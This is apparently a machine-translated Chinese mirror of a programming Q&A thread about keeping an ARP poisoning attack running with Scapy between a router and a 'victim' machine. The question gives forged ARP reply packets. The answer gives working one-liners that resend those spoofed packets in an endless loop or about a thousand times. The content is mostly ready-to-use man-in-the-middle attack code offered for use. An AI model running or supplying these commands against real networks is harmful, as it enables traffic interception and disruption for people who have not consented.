繁体   English   中英

Python-2.7 Scapy将数据包重新传输到目标

[英]Python-2.7 Scapy retransmit packet to destination

在进行arp中毒时,我处于1-路由器和2-受害者计算机连接的中间。 如何将数据包重新发送到目的地? (最好是scapy)我有这个:

send(ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip))
send(ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip))

查看Scapy的API文档建议了以下替代方法:

  1. send函数接受另外两个可能证明有用的参数:

    loop :如果不为0,则无限发送报文​​。
    inter :2个数据包之间等待的时间(以秒为单位)。

    因此,执行以下语句将以无限循环发送数据包:

     send([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip), ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)], inter=1, loop=1) 
  2. sr函数接受3个可能证明有用的参数:

    retry :如果为正数,则重发无应答数据包的次数。 如果为负,则放弃前有多少连续的未回答的探查。 只有负值才真正有用。
    timeout :发送最后一个数据包后要等待多少时间。 默认情况下, sr将永远等待,当用户期望不再有答案时,它将不得不中断( Ctrl-C )。
    inter :每个发送的数据包之间等待的时间(以秒为单位)。

    由于预期不会收到针对已发送的ARP数据包的任何答案,因此,将这些参数指定为所需的值可实现在有限循环中发送数据包,这与之前的选择相反(后者迫使无休止的循环)。

    不利的一面是,由于资源被分配用于数据包的接收和处理,因此效率可能会降低一点,但这可以忽略不计。

    因此,执行以下语句将在1000次迭代的有限循环中发送数据包:

     sr([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip), ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)], retry=999, inter=1, timeout=1) 

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM